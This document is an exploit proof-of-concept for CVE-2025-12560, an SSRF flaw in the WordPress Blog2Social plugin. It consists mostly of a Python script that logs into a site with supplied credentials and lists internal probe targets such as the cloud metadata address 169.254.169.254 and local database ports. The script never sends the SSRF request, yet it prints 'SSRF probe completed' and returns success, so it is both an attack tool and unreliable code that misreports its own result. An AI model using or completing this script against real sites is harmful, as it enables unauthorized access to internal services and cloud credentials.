CVE-2025-12560 WordPress Blog2Social插件SSRF漏洞

# CVE-2025-12560 Blog2Social SSRF PoC # Target: WordPress site with Blog2Social <= 8.6.0 # Authentication: Subscriber-level or higher required import requests import sys def exploit_ssrf(target_url, wp_username, wp_password): """ Exploit SSRF in Blog2Social plugin via getFullContent() function """ # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # SSRF attack - probe internal metadata service ssrf_payloads = [ "http://169.254.169.254/latest/meta-data/", "http://127.0.0.1:8080/admin/", "http://192.168.1.1:80/", "http://localhost:3306/", "http://internal-db.local:5432/" ] # Trigger SSRF via getFullContent() function # This would typically be done via plugin's social posting feature for payload in ssrf_payloads: print(f"[*] Testing SSRF target: {payload}") # The actual exploitation depends on specific plugin endpoint # Consult the full advisory for exact request format print("[+] SSRF probe completed") return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_ssrf(target, user, pwd)